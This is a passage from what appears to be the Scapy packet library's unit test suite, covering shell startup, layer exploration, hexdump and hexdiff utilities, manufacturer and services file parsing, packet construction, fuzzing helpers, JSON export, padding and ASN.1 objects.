import DEFAULT_PRESTART_FILE, DEFAULT_PRESTART, _read_config_file _read_config_file(DEFAULT_PRESTART_FILE, _locals=globals(), default=DEFAULT_PRESTART) # By now .config/scapy/startup.py should have been created with open(DEFAULT_PRESTART_FILE, "r") as fd: OLD_DEFAULT_PRESTART = fd.read() with open(DEFAULT_PRESTART_FILE, "w+") as fd: fd.write("conf.interactive_shell = 'ipython'") # Detect IPython try: import IPython except: code_interact_import = "scapy.main.code.interact" else: code_interact_import = "IPython.embed" @mock.patch(code_interact_import) def interact_emulator(code_int, extra_args=[]): try: code_int.side_effect = lambda *args, **kwargs: lambda *args, **kwargs: None interact(argv=["-s scapy1"] + extra_args, mybanner="What a test") finally: sys.ps1 = ">>> " interact_emulator() # Default try: interact_emulator(extra_args=["-?"]) # Failing assert False except: pass interact_emulator(extra_args=["-d"]) # Extended = Emulate interact() and test startup.py with ptpython ~ interact import sys from unittest import mock from scapy.main import DEFAULT_PRESTART_FILE, DEFAULT_PRESTART, _read_config_file _read_config_file(DEFAULT_PRESTART_FILE, _locals=globals(), default=DEFAULT_PRESTART) # By now .config/scapy/startup.py should have been created with open(DEFAULT_PRESTART_FILE, "w+") as fd: fd.write("conf.interactive_shell = 'ptpython'") called = [] def checker(*args, **kwargs): locals = kwargs.pop("locals") assert locals["IP"] history_filename = kwargs.pop("history_filename") assert history_filename == conf.histfile called.append(True) ptpython_mocked_module = Bunch( repl=Bunch( embed=checker ) ) modules_patched = { "ptpython": ptpython_mocked_module, "ptpython.repl": ptpython_mocked_module.repl, "ptpython.repl.embed": ptpython_mocked_module.repl.embed, } with mock.patch.dict("sys.modules", modules_patched): try: interact() finally: sys.ps1 = ">>> " # Restore with open(DEFAULT_PRESTART_FILE, "w") as fd: print(OLD_DEFAULT_PRESTART) r = fd.write(OLD_DEFAULT_PRESTART) assert called = Test explore() with GUI mode ~ command from unittest import mock def test_explore_gui(is_layer, layer): prompt_toolkit_mocked_module = Bunch( shortcuts=Bunch( dialogs=Bunch( radiolist_dialog=(lambda *args, **kargs: layer), button_dialog=(lambda *args, **kargs: "layers" if is_layer else "contribs") ) ), formatted_text=Bunch(HTML=lambda x: x), __version__="2.0.0" ) # a mock.patch isn't enough to mock a module. Let's roll sys.modules modules_patched = { "prompt_toolkit": prompt_toolkit_mocked_module, "prompt_toolkit.shortcuts": prompt_toolkit_mocked_module.shortcuts, "prompt_toolkit.shortcuts.dialogs": prompt_toolkit_mocked_module.shortcuts.dialogs, "prompt_toolkit.formatted_text": prompt_toolkit_mocked_module.formatted_text, } with mock.patch.dict("sys.modules", modules_patched): with ContextManagerCaptureOutput() as cmco: explore() result_explore = cmco.get_output() return result_explore conf.interactive = True explore_dns = test_explore_gui(True, "scapy.layers.dns") assert "DNS" in explore_dns assert "DNS Question Record" in explore_dns assert "DNSRRNSEC3" in explore_dns assert "DNS TSIG Resource Record" in explore_dns explore_avs = test_explore_gui(False, "avs") assert "AVSWLANHeader" in explore_avs assert "AVS WLAN Monitor Header" in explore_avs = Test explore() with non-GUI mode ~ command def test_explore_non_gui(layer): with ContextManagerCaptureOutput() as cmco: explore(layer) result_explore = cmco.get_output() return result_explore explore_dns = test_explore_non_gui("scapy.layers.dns") assert "DNS" in explore_dns assert "DNS Question Record" in explore_dns assert "DNSRRNSEC3" in explore_dns assert "DNS TSIG Resource Record" in explore_dns explore_avs = test_explore_non_gui("avs") assert "AVSWLANHeader" in explore_avs assert "AVS WLAN Monitor Header" in explore_avs assert test_explore_non_gui("scapy.layers.dns") == test_explore_non_gui("dns") assert test_explore_non_gui("scapy.contrib.avs") == test_explore_non_gui("avs") try: explore("unknown_module") assert False # The previous should have raised an exception except Scapy_Exception: pass = Test load_contrib overwrite load_contrib("gtp") assert GTPHeader.__module__ == "scapy.contrib.gtp" load_contrib("gtp_v2") assert GTPHeader.__module__ == "scapy.contrib.gtp_v2" load_contrib("gtp") assert GTPHeader.__module__ == "scapy.contrib.gtp" = Test load_contrib failure try: load_contrib("doesnotexist") assert False except: pass = Test sane function sane("A\x00\xFFB") == "A..B" = Test lhex function assert lhex(42) == "0x2a" assert lhex((28,7)) == "(0x1c, 0x7)" assert lhex([28,7]) == "[0x1c, 0x7]" = Test restart function from unittest import mock conf.interactive = True try: from scapy.utils import restart import os @mock.patch("os.execv") @mock.patch("subprocess.call") @mock.patch("os._exit") def _test(e, m, m2): def check(x, y=[]): z = [x] + y if not isinstance(x, list) else x + y assert os.path.isfile(z[0]) assert os.path.isfile(z[1]) return 0 m2.side_effect = check m.side_effect = check e.side_effect = lambda x: None restart() _test() finally: conf.interactive = False = Test linehexdump function conf_color_theme = conf.color_theme conf.color_theme = BlackAndWhite() assert linehexdump(Ether(src="00:01:02:03:04:05"), dump=True) == 'FF FF FF FF FF FF 00 01 02 03 04 05 90 00 ..............' conf.color_theme = conf_color_theme = Test chexdump function chexdump(Ether(src="00:01:02:02:04:05"), dump=True) == "0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, 0x02, 0x02, 0x04, 0x05, 0x90, 0x00" = Test repr_hex function repr_hex("scapy") == "7363617079" = Test hexstr function hexstr(b"A\x00\xFFB") == "41 00 FF 42 A..B" = Test fletcher16 functions assert fletcher16_checksum(b"\x28\x07") == 22319 assert fletcher16_checkbytes(b"\x28\x07", 1) == b"\xaf(" = Test hexdiff function ~ not_pypy def test_hexdiff(a, b, algo=None, autojunk=False): conf_color_theme = conf.color_theme conf.color_theme = BlackAndWhite() with ContextManagerCaptureOutput() as cmco: hexdiff(a, b, algo=algo, autojunk=autojunk) result_hexdiff = cmco.get_output() conf.interactive = True conf.color_theme = conf_color_theme return result_hexdiff # Basic string test result_hexdiff = test_hexdiff("abcde", "abCde") expected = "0000 61 62 63 64 65 abcde\n" expected += " 0000 61 62 43 64 65 abCde\n" assert result_hexdiff == expected # More advanced string test result_hexdiff = test_hexdiff("add_common_", "_common_removed") expected = "0000 61 64 64 5F 63 6F 6D 6D 6F 6E 5F add_common_ \n" expected += " -003 5F 63 6F 6D 6D 6F 6E 5F 72 65 6D 6F 76 _common_remov\n" expected += " 000d 65 64 ed\n" assert result_hexdiff == expected # Compare packets result_hexdiff = test_hexdiff(IP(dst="127.0.0.1", src="127.0.0.1"), IP(dst="127.0.0.2", src="127.0.0.1")) expected = "0000 45 00 00 14 00 01 00 00 40 00 7C E7 7F 00 00 01 E.......@.|.....\n" expected += " 0000 45 00 00 14 00 01 00 00 40 00 7C E6 7F 00 00 01 E.......@.|.....\n" expected += "0010 7F 00 00 01 ....\n" expected += " 0010 7F 00 00 02 ....\n" assert result_hexdiff == expected # Compare using difflib a = "A" * 1000 + "findme" + "B" * 1000 b = "A" * 1000 + "B" * 1000 ret1 = test_hexdiff(a, b, algo="difflib") ret2 = test_hexdiff(a, b, algo="difflib", autojunk=True) expected_ret1 = """ 03d0 03d0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 03e0 41 41 41 41 41 41 41 41 66 69 6E 64 6D 65 42 42 AAAAAAAAfindmeBB 03e0 41 41 41 41 41 41 41 41 42 42 AAAAAAAA BB 03ea 03ea 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB """ expected_ret2 = """ 03d0 03d0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 03e0 41 41 41 41 41 41 41 41 66 69 6E 64 6D 65 42 42 AAAAAAAAfindmeBB 03e0 41 41 41 41 41 41 41 41 42 42 42 42 42 42 42 42 AAAAAAAABBBBBBBB 03f0 03f0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB """ assert ret1 != ret2 assert expected_ret1 in ret1 assert expected_ret2 in ret2 # Test corner cases that should not crash hexdiff(b"abc", IP() / TCP()) hexdiff(IP() / TCP(), b"abc") = Test mysummary functions - Ether p = Ether(dst="ff:ff:ff:ff:ff:ff", src="ff:ff:ff:ff:ff:ff", type=0x9000) p assert p.mysummary() in ['ff:ff:ff:ff:ff:ff > ff:ff:ff:ff:ff:ff (%s)' % loop for loop in ['0x9000', 'LOOP']] = Test zerofree_randstring function random.seed(0x2807) zerofree_randstring(4) in [b"\xd2\x12\xe4\x5b", b'\xd3\x8b\x13\x12'] = Test strand function assert strand(b"AC", b"BC") == b'@C' = Test tex_escape function tex_escape("$#_") == "\\$\\#\\_" = Test colgen function f = colgen(range(3)) assert len([next(f) for i in range(2)]) == 2 = Test incremental_label function f = incremental_label() assert [next(f) for i in range(2)] == ["tag00000", "tag00001"] = Test corrupt_* functions import random random.seed(0x2807) assert corrupt_bytes("ABCDE") in [b"ABCDW", b"ABCDX"] assert sane(corrupt_bytes("ABCDE", n=3)) in ["A.8D4", ".2.DE"] assert corrupt_bits("ABCDE") in [b"EBCDE", b"ABCDG"] assert sane(corrupt_bits("ABCDE", n=3)) in ["AF.EE", "QB.TE"] = Test whois function ~ netaccess if not WINDOWS: result = whois("193.0.6.139") print(result) assert b"inetnum" in result and b"Amsterdam" in result = Test manuf DB methods ~ manufdb assert conf.manufdb._resolve_MAC("00:00:0F:01:02:03") == "Next:01:02:03" assert conf.manufdb._get_short_manuf("00:00:0F:01:02:03") == "Next" assert in6_addrtovendor("fe80::0200:0fff:fe01:0203").lower().startswith("next") assert conf.manufdb.lookup("00:00:0F:01:02:03") == ('Next', 'Next, Inc.') assert "00:00:0F" in conf.manufdb.reverse_lookup("Next") = Test multiple wireshark's manuf formats ~ manufdb new_format = """ # comment 00:00:00 JokyIsland Joky Insland Corp SA 00:01:12 SecdevCorp Secdev Corporation SA LLC EE:05:01 Scapy Scapy CO LTD & CIE FF:00:11 NoName """ old_format = """ # comment 00:00:00 JokyIsland # Joky Insland Corp SA 00:01:12 SecdevCorp # Secdev Corporation SA LLC EE:05:01 Scapy # Scapy CO LTD & CIE FF:00:11 NoName """ manuf1 = get_temp_file() manuf2 = get_temp_file() with open(manuf1, "w") as w: w.write(old_format) with open(manuf2, "w") as w: w.write(new_format) a = load_manuf(manuf1) b = load_manuf(manuf2) assert a.lookup("00:00:00") == ('JokyIsland', 'Joky Insland Corp SA') assert a.lookup("FF:00:11:00:00:00") == ('NoName', 'NoName') assert a.reverse_lookup("Scapy") == {'EE:05:01': ('Scapy', 'Scapy CO LTD & CIE')} assert a.reverse_lookup("Secdevcorp") == {'00:01:12': ('SecdevCorp', 'Secdev Corporation SA LLC')} assert b.lookup("00:00:00") == ('JokyIsland', 'Joky Insland Corp SA') assert b.lookup("FF:00:11:00:00:00") == ('NoName', 'NoName') assert b.reverse_lookup("Scapy") == {'EE:05:01': ('Scapy', 'Scapy CO LTD & CIE')} assert b.reverse_lookup("Secdevcorp") == {'00:01:12': ('SecdevCorp', 'Secdev Corporation SA LLC')} scapy_delete_temp_files() = Test load_services data_services = """ itu-bicc-stc 3097/sctp cvsup 5999/udp # CVSup x11 6000-6063/tcp # X Window System x11 6000-6063/udp # X Window System ndl-ahp-svc 6064/tcp # NDL-AHP-SVC """ services = get_temp_file() with open(services, "w") as w: w.write(data_services) tcp, udp, sctp = load_services(services) assert tcp[6002] == "x11" assert tcp.ndl_ahp_svc == 6064 assert tcp.x11 in range(6000, 6093) assert udp[6002] == "x11" assert udp.x11 in range(6000, 6093) assert udp.cvsup == 5999 assert sctp[3097] == "itu_bicc_stc" assert sctp.itu_bicc_stc == 3097 scapy_delete_temp_files() = Test utility functions - network related ~ netaccess assert atol("1.1.1.1") == 0x1010101 assert atol("192.168.0.1") == 0xc0a80001 = Test autorun functions ~ autorun ret = autorun_get_text_interactive_session("IP().src") ret assert ret == (">>> IP().src\n'127.0.0.1'\n", '127.0.0.1') ret = autorun_get_html_interactive_session("IP().src") ret assert ret == (">>> IP().src\n'127.0.0.1'\n", '127.0.0.1') ret = autorun_get_latex_interactive_session("IP().src") ret assert ret == ("\\textcolor{blue}{{\\tt\\char62}{\\tt\\char62}{\\tt\\char62} }IP().src\n'127.0.0.1'\n", '127.0.0.1') ret = autorun_get_text_interactive_session("scapy_undefined") assert "NameError" in ret[0] = Test autorun with logging cmds = """log_runtime.info(hex_bytes("446166742050756e6b"))\n""" ret = autorun_get_text_interactive_session(cmds) ret assert "Daft Punk" in ret[0] = Test utility TEX functions assert tex_escape("{scapy}\\^$~#_&%|><") == "{\\tt\\char123}scapy{\\tt\\char125}{\\tt\\char92}\\^{}\\${\\tt\\char126}\\#\\_\\&\\%{\\tt\\char124}{\\tt\\char62}{\\tt\\char60}" a = colgen(1, 2, 3) assert next(a) == (1, 2, 2) assert next(a) == (1, 3, 3) assert next(a) == (2, 2, 1) assert next(a) == (2, 3, 2) assert next(a) == (2, 1, 3) assert next(a) == (3, 3, 1) assert next(a) == (3, 1, 2) assert next(a) == (3, 2, 3) = Test config file functions saved_conf_verb = conf.verb fd, fname = tempfile.mkstemp() os.write(fd, b"conf.verb = 42\n") os.close(fd) from scapy.main import _read_config_file _read_config_file(fname, globals(), locals()) assert conf.verb == 42 conf.verb = saved_conf_verb = Test config file functions failures from scapy.main import _read_config_file, _probe_config_folder assert _read_config_file(_probe_config_folder("filethatdoesnotexistnorwillever.tsppajfsrdrr")) is None = Test CacheInstance repr conf.netcache = Test pyx detection functions from unittest.mock import patch def _r(*args, **kwargs): raise OSError with patch("scapy.libs.test_pyx.subprocess.check_call", _r): from scapy.libs.test_pyx import _test_pyx assert _test_pyx() == False = Test matplotlib detection functions from unittest.mock import MagicMock, patch bck_scapy_libs_matplot = sys.modules.get("scapy.libs.matplot", None) if bck_scapy_libs_matplot: del sys.modules["scapy.libs.matplot"] mock_matplotlib = MagicMock() mock_matplotlib.get_backend.return_value = "inline" mock_matplotlib.pyplot = MagicMock() mock_matplotlib.pyplot.plt = None with patch.dict("sys.modules", **{ "matplotlib": mock_matplotlib, "matplotlib.lines": mock_matplotlib}): from scapy.libs.matplot import MATPLOTLIB, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS, Line2D assert MATPLOTLIB == 1 assert MATPLOTLIB_INLINED == 1 assert "marker" in MATPLOTLIB_DEFAULT_PLOT_KARGS mock_matplotlib.get_backend.return_value = "ko" with patch.dict("sys.modules", **{ "matplotlib": mock_matplotlib, "matplotlib.lines": mock_matplotlib}): from scapy.libs.matplot import MATPLOTLIB, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS assert MATPLOTLIB == 1 assert MATPLOTLIB_INLINED == 0 assert "marker" in MATPLOTLIB_DEFAULT_PLOT_KARGS if bck_scapy_libs_matplot: sys.modules["scapy.libs.matplot"] = bck_scapy_libs_matplot ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken * and to catch Exceptions = Packet class methods p = IP()/ICMP() ret = p.do_build_ps() assert ret[0] == b"@\x00\x00\x00\x00\x01\x00\x00@\x01\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\x00\x00\x00\x00\x00\x00" assert len(ret[1]) == 2 assert p[ICMP].firstlayer() == p assert p.command() == "IP()/ICMP()" p.decode_payload_as(UDP) assert p.sport == 2048 and p.dport == 63487 = hide_defaults conf_color_theme = conf.color_theme conf.color_theme = BlackAndWhite() p = IP(ttl=64)/ICMP() assert repr(p) in [">", ">"] p.hide_defaults() assert repr(p) in [">", ">"] conf.color_theme = conf_color_theme = split_layers p = IP()/ICMP() s = raw(p) split_layers(IP, ICMP, proto=1) assert Raw in IP(s) bind_layers(IP, ICMP, frag=0, proto=1) = fuzz r = fuzz(IP(tos=2)/ICMP()) assert r.tos == 2 z = r.ttl assert r.ttl != z assert r.ttl != z = fuzz a Packet with MultipleTypeField fuzz(ARP(pdst="127.0.0.1")) fuzz(IP()/ARP(pdst='10.0.0.254')) = fuzz on packets with advanced RandNum x = IP(dst="8.8.8.8")/fuzz(UDP()/NTP(version=4)) x.show2() x = IP(raw(x)) assert NTP in x = fuzz on packets with FlagsField assert isinstance(fuzz(TCP()).flags, VolatileValue) = Building some packets ~ basic IP TCP UDP NTP LLC SNAP Dot11 IP()/TCP() Ether()/IP()/UDP()/NTP() Dot11()/LLC()/SNAP()/IP()/TCP()/"XXX" IP(ttl=25)/TCP(sport=12, dport=42) IP().summary() = Manipulating some packets ~ basic IP TCP a=IP(ttl=4)/TCP() a.ttl a.ttl=10 del a.ttl a.ttl TCP in a a[TCP] a[TCP].dport=[80,443] a assert a.copy().time == a.time a=3 = Bind string array as payload ~ basic assert bytes(Raw("sca")/"py") == b"scapy" assert bytes(Raw("sca")/b"py") == b"scapy" assert bytes(Raw("sca")/bytearray(b"py")) == b"scapy" assert bytes("sca"/Raw("py")) == b"scapy" assert bytes(b"sca"/Raw("py")) == b"scapy" assert bytes(bytearray(b"sca")/Raw("py")) == b"scapy" a=Raw("sca") a.add_payload("py") assert bytes(a) == b"scapy" a=Raw("sca") a.add_payload(b"py") assert bytes(a) == b"scapy" a=Raw("sca") a.add_payload(bytearray(b"py")) assert bytes(a) == b"scapy" = Checking overloads ~ basic IP TCP Ether a=Ether()/IP()/TCP() r = a.proto r r == 6 = sprintf() function ~ basic sprintf Ether IP UDP NTP a=Ether()/IP()/IP(ttl=4)/UDP()/NTP() r = a.sprintf("%type% %IP.ttl% %#05xr,UDP.sport% %IP:2.ttl%") r r in ['0x800 64 0x07b 4', 'IPv4 64 0x07b 4'] = sprintf() function ~ basic sprintf IP TCP SNAP LLC Dot11 * This test is on the conditional substring feature of sprintf() a=Dot11()/LLC()/SNAP()/IP()/TCP() r = a.sprintf("{IP:{TCP:flags=%TCP.flags%}{UDP:port=%UDP.ports%} %IP.src%}") r r == 'flags=S 127.0.0.1' = haslayer function ~ basic haslayer IP TCP ICMP ISAKMP x=IP(id=1)/ISAKMP_payload_SA(prop=ISAKMP_payload_SA(prop=IP()/ICMP()))/TCP() r = (TCP in x, ICMP in x, IP in x, UDP in x) r r == (True,True,True,False) = getlayer function ~ basic getlayer IP ISAKMP UDP x=IP(id=1)/ISAKMP_payload_SA(prop=IP(id=2)/UDP(dport=1))/IP(id=3)/UDP(dport=2) x[IP] x[IP:2] x[IP:3] x.getlayer(IP,3) x.getlayer(IP,4) x[UDP] x[UDP:1] x[UDP:2] assert(x[IP].id == 1 and x[IP:2].id == 2 and x[IP:3].id == 3 and x.getlayer(IP).id == 1 and x.getlayer(IP,3).id == 3 and x.getlayer(IP,4) == None and x[UDP].dport == 1 and x[UDP:2].dport == 2) try: x[IP:4] except IndexError: True else: False = getlayer / haslayer with name ~ basic getlayer IP ICMP IPerror TCPerror x = IP() / ICMP() / IPerror() assert x.getlayer(ICMP) is not None assert x.getlayer(IPerror) is not None assert x.getlayer("IP in ICMP") is not None assert x.getlayer(TCPerror) is None assert x.getlayer("TCP in ICMP") is None assert x.haslayer(ICMP) assert x.haslayer(IPerror) assert x.haslayer("IP in ICMP") assert not x.haslayer(TCPerror) assert not x.haslayer("TCP in ICMP") = getlayer with a filter ~ getlayer IP pkt = IP() / IP(ttl=3) / IP() assert pkt[IP::{"ttl":3}].ttl == 3 assert pkt.getlayer(IP, ttl=3).ttl == 3 assert IPv6ExtHdrHopByHop(options=[HBHOptUnknown()]).getlayer(HBHOptUnknown, otype=42) is None = specific haslayer and getlayer implementations for EAP ~ haslayer getlayer EAP pkt = Ether() / EAPOL() / EAP_MD5() assert EAP in pkt assert pkt.haslayer(EAP) assert isinstance(pkt[EAP], EAP_MD5) assert isinstance(pkt.getlayer(EAP), EAP_MD5) = specific haslayer and getlayer implementations for RadiusAttribute ~ haslayer getlayer RadiusAttribute pkt = RadiusAttr_EAP_Message() assert RadiusAttribute in pkt assert pkt.haslayer(RadiusAttribute) assert isinstance(pkt[RadiusAttribute], RadiusAttr_EAP_Message) assert isinstance(pkt.getlayer(RadiusAttribute), RadiusAttr_EAP_Message) = equality ~ basic w=Ether()/IP()/UDP(dport=53) x=Ether()/IP(version=4)/UDP() y=Ether()/IP()/UDP(dport=4) z=Ether()/IP()/UDP()/NTP() t=Ether()/IP()/TCP() assert x != y and x != z and x != t and y != z and y != t and z != t and w == x = answers ~ basic a1, a2 = "1.2.3.4", "5.6.7.8" p1 = IP(src=a1, dst=a2)/ICMP(type=8) p2 = IP(src=a2, dst=a1)/ICMP(type=0) assert p1.hashret() == p2.hashret() assert not p1.answers(p2) assert p2.answers(p1) assert p1 > p2 assert p2 < p1 assert p1 == p1 conf_back = conf.checkIPinIP conf.checkIPinIP = True px = [IP()/p1, IPv6()/p1] assert not any(p.hashret() == p2.hashret() for p in px) assert not any(p.answers(p2) for p in px) assert not any(p2.answers(p) for p in px) conf.checkIPinIP = False assert all(p.hashret() == p2.hashret() for p in px) assert not any(p.answers(p2) for p in px) assert all(p2.answers(p) for p in px) conf.checkIPinIP = conf_back = answers - Net ~ netaccess a1, a2 = Net("www.google.com"), Net("www.secdev.org") prt1, prt2 = 12345, 54321 s1, s2 = 2767216324, 3845532842 p1 = IP(src=a1, dst=a2)/TCP(flags='SA', seq=s1, ack=s2, sport=prt1, dport=prt2) p2 = IP(src=a2, dst=a1)/TCP(flags='R', seq=s2, ack=0, sport=prt2, dport=prt1) assert p2.answers(p1) assert not p1.answers(p2) # Not available yet because of IPv6 # a1, a2 = Net6("www.google.com"), Net6("www.secdev.org") p1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2) p2 = IP(src=a2, dst=a1)/TCP(flags='RA', seq=0, ack=s1+1, sport=prt2, dport=prt1) assert p2.answers(p1) assert not p1.answers(p2) p1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2) p2 = IP(src=a2, dst=a1)/TCP(flags='SA', seq=s2, ack=s1+1, sport=prt2, dport=prt1) assert p2.answers(p1) assert not p1.answers(p2) p1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1, ack=s2+1, sport=prt1, dport=prt2) assert not p2.answers(p1) assert p1.answers(p2) p1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2) p2 = IP(src=a2, dst=a1)/TCP(flags='SA', seq=s2, ack=s1+10, sport=prt2, dport=prt1) assert not p2.answers(p1) assert not p1.answers(p2) p1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1, ack=s2+1, sport=prt1, dport=prt2) assert not p2.answers(p1) assert not p1.answers(p2) p1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1+9, ack=s2+10, sport=prt1, dport=prt2) assert not p2.answers(p1) assert not p1.answers(p2) = conf.checkIPsrc conf_checkIPsrc = conf.checkIPsrc conf.checkIPsrc = 0 query = IP(id=42676, src='10.128.0.7', dst='192.168.0.1')/ICMP(id=26) answer = IP(src='192.168.48.19', dst='10.128.0.7')/ICMP(type=11)/IPerror(id=42676, src='192.168.51.23', dst='192.168.0.1')/ICMPerror(id=26) assert answer.answers(query) conf.checkIPsrc = conf_checkIPsrc ############ ############ + command() / json() tests ~ command = Test command() with normal packet pkt = IP(dst="127.0.0.1", src="127.0.0.1") / UDP(dport=12345, sport=654) assert pkt.command() == "IP(src='127.0.0.1', dst='127.0.0.1')/UDP(sport=654, dport=12345)" = Test json() with normal packet assert pkt.json() == '{"version": 4, "ihl": null, "tos": 0, "len": null, "id": 1, "flags": 0, "frag": 0, "ttl": 64, "proto": 17, "chksum": null, "src": "127.0.0.1", "dst": "127.0.0.1", "payload": {"sport": 654, "dport": 12345, "len": null, "chksum": null}}' = Test command() with nested packet pkt = DNS(qd=[DNSQR(qtype="A", qname="google.com")]) assert pkt.command() == "DNS(qd=[DNSQR(qname=b'google.com.', qtype=1)])" = Test json() with nested packet assert pkt.json() == '{"length": null, "id": 0, "qr": 0, "opcode": 0, "aa": 0, "tc": 0, "rd": 1, "ra": 0, "z": 0, "ad": 0, "cd": 0, "rcode": 0, "qdcount": null, "ancount": null, "nscount": null, "arcount": null, "qd": [{"qname": "google.com.", "qtype": 1, "unicastresponse": 0, "qclass": 1}]}' = Test command() with ASN.1 packet pkt = KRB_AP_REP(bytes(KRB_AP_REP(encPart=EncryptedData()))) assert pkt.command() == "KRB_AP_REP(pvno=ASN1_INTEGER(5), msgType=ASN1_INTEGER(15), encPart=EncryptedData(etype=ASN1_INTEGER(23), kvno=None, cipher=ASN1_STRING(b'')))" = Test json(à with ASN.1 packet assert pkt.json() == '{"pvno": {"type": "ASN1_INTEGER", "value": "5"}, "msgType": {"type": "ASN1_INTEGER", "value": "15"}, "encPart": {"etype": {"type": "ASN1_INTEGER", "value": "23"}, "kvno": null, "cipher": {"type": "ASN1_STRING", "value": ""}}}' = Test command() with meaningless payload pkt = PPTPStartControlConnectionReply() / IP(dst="127.0.0.1", src="127.0.0.1") assert pkt.command() == "PPTPStartControlConnectionReply()/IP(src='127.0.0.1', dst='127.0.0.1')" = Test json() with meaningless payload assert pkt.json() == '{"len": 156, "type": 1, "magic_cookie": 439041101, "ctrl_msg_type": 2, "reserved_0": 0, "protocol_version": 256, "result_code": 1, "error_code": 0, "framing_capabilities": 0, "bearer_capabilities": 0, "maximum_channels": 65535, "firmware_revision": 256, "host_name": "linux", "vendor_string": "", "payload": {"version": 4, "ihl": null, "tos": 0, "len": null, "id": 1, "flags": 0, "frag": 0, "ttl": 64, "proto": 0, "chksum": null, "src": "127.0.0.1", "dst": "127.0.0.1"}}' ############ ############ + Tests on padding = Padding assembly r = raw(Padding("abc")) r assert r == b"abc" r = raw(Padding("abc")/Padding("def")) r assert r == b"abcdef" r = raw(Raw("ABC")/Padding("abc")/Padding("def")) r assert r == b"ABCabcdef" r = raw(Raw("ABC")/Padding("abc")/Raw("DEF")/Padding("def")) r assert r == b"ABCDEFabcdef" = Padding and length computation p = IP(raw(IP()/Padding("abc"))) p assert p.len == 20 and len(p) == 23 p = IP(raw(IP()/Raw("ABC")/Padding("abc"))) p assert p.len == 23 and len(p) == 26 p = IP(raw(IP()/Raw("ABC")/Padding("abc")/Padding("def"))) p assert p.len == 23 and len(p) == 29 = PadField test ~ PadField padding class TestPad(Packet): fields_desc = [ PadField(StrNullField("st", b""), 6, padwith=b"\xff"), StrField("id", b"")] assert TestPad() == TestPad(raw(TestPad())) assert raw(TestPad(st=b"st", id=b"id")) == b'st\x00\xff\xff\xffid' = ReversePadField ~ PadField padding class TestReversePad(Packet): fields_desc = [ ByteField("a", 0), ReversePadField(IntField("b", 0), 4)] assert raw(TestReversePad(a=1, b=0xffffffff)) == b'\x01\x00\x00\x00\xff\xff\xff\xff' assert TestReversePad(raw(TestReversePad(a=1, b=0xffffffff))).b == 0xffffffff ############ ############ + Tests on default value changes mechanism = Creation of an IPv3 class from IP class with different default values class IPv3(IP): version = 3 ttl = 32 = Test of IPv3 class a = IPv3() v,t = a.version, a.ttl v,t assert (v,t) == (3,32) r = raw(a) r assert r == b'5\x00\x00\x14\x00\x01\x00\x00 \x00\xac\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' ############ ############ + ASN.1 tests = ASN1 - ASN1_Object assert ASN1_Object(1) == ASN1_Object(1) assert ASN1_Object(1) > ASN1_Object(0) assert ASN1_Object(1) >= ASN1_Object(1) assert ASN1_Object(0) < ASN1_Object(1) assert ASN1_Object(1) <= ASN1_Object(2) assert ASN1_Object(1) != ASN1_Object(2) ASN1_Object(2).show() = ASN1 - RandASN1Object a = RandASN1Object() random.seed(0x2807) o = bytes(a) o assert o in [ b'\x1e\x023V', # PyPy 2.7 b'A\x02\x07q', # Python 2.7 b'F\x02\xfe\x92', # python 3.7-3.9 ] = ASN1 - ASN1_BIT_STRING a = ASN1_BIT_STRING("test", readable=True) a assert a.val == '01110100011001010111001101110100' assert raw(a) == b'\x03\x05\x00test' a = ASN1_BIT_STRING(b"\xff"*16, readable=True) a assert a.val == "1" * 128 assert raw(a) == b'\x03\x11\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' = ASN1 - ASN1_SEQUENCE a = ASN1_SEQUENCE([ASN1_Object(1), ASN1_Object(0)]) assert a.strshow() == '# ASN1_SEQUENCE:\n \n \n' = ASN1 - ASN1_DECODING_ERROR a = ASN1_DECODING_ERROR("error", exc=OSError(1)) assert repr(a) == "" b = ASN1_DECODING_ERROR("error", exc=OSError(ASN1_BIT_STRING("0"))) assert repr(b) in ["}}>", "}}>"] = ASN1 - ASN1_INTEGER a = ASN1_INTEGER(int("1"*23)) assert repr(a) in ["0x25a55a46e5da99c71c7 ", "0x25a55a46e5da99c71c7 "] = ASN1 - ASN1_OID assert raw(ASN1_OID("")) == b"\x06\x00" = RandASN1Object(), specific crashes import random # ASN1F_NUMERIC_STRING random.seed(1514315682) raw(RandASN1Object()) # ASN1F_VIDEOTEX_STRING random.seed(1240186058) raw(RandASN1Object()) # ASN1F_UTC_TIME & ASN1F_GENERALIZED_TIME random.seed(1873503288) raw(RandASN1Object()) = SSID is parsed properly even with the presence of RSN Information ~ SSID RSN Information # A regression test for https://github.com/secdev/scapy/pull/2685. # https://github.com/secdev/scapy/issues/2683 describes a packet with # RSN Information that isn't parsed properly, # causing the SSID to be overridden. # This test checks the SSID is parsed properly. filename = scapy_path("/test/pcaps/bad_rsn_parsing_overrides_ssid.pcap") frame = rdpcap(filename)[0] beacon = frame.getlayer(5) ssid = beacon.network_stats()['ssid'] assert ssid == "ROUTE-821E295" = SSID is parsed properly even when the Country Information Tag Element has an odd length (not complying with the standard) and a missing pad byte ~ Missing Pad Byte in Country Info # A regression test for https://github.com/secdev/scapy/pull/2685. # https://github.com/secdev/scapy/issues/4132 describes a packet with # a Country Information element tag that has an odd length, even though it's against the standard. # The transmitter should have added a padding byte to make the length even, but it didn't. # The effect on scapy used to be improper parsing of the next tag elements, causing the SSID to be overridden. # This test checks the SSID is 